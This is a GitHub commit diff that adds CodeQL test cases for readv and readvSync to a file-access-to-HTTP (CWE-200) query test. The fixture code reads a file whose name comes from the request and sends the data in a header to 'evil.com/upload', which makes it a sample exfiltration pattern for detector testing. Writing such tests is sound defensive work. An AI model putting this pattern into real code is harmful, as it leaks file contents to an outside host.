Skip to content

Commit 316a54f

Browse files
committed
Added test cases for readv and readvSync
1 parent e1bf054 commit 316a54f

1 file changed

Lines changed: 23 additions & 0 deletions

File tree

javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,3 +26,26 @@ const fsp = require("fs").promises;
2626
console.error("Error reading file:", error);
2727
}
2828
})();
29+
30+
app.post('/readv', async (req, res) => {
31+
const { filename } = req.body;
32+
const fd = await fs.open(filename, 'r');
33+
const buffer = Buffer.alloc(1024);
34+
const { bytesRead } = await fs.readv(fd, [buffer]); // $ MISSING: Source[js/file-access-to-http]
35+
https.get({
36+
hostname: "evil.com",
37+
path: "/upload",
38+
method: "GET",
39+
headers: { Referer: bytesRead }
40+
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
41+
42+
const buffer2 = Buffer.alloc(1024);
43+
const { bytesRead2 } = fs.readvSync(fd, [buffer2]); // $ MISSING: Source[js/file-access-to-http]
44+
https.get({
45+
hostname: "evil.com",
46+
path: "/upload",
47+
method: "GET",
48+
headers: { Referer: bytesRead2 }
49+
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
50+
51+
});

0 commit comments

Comments
 (0)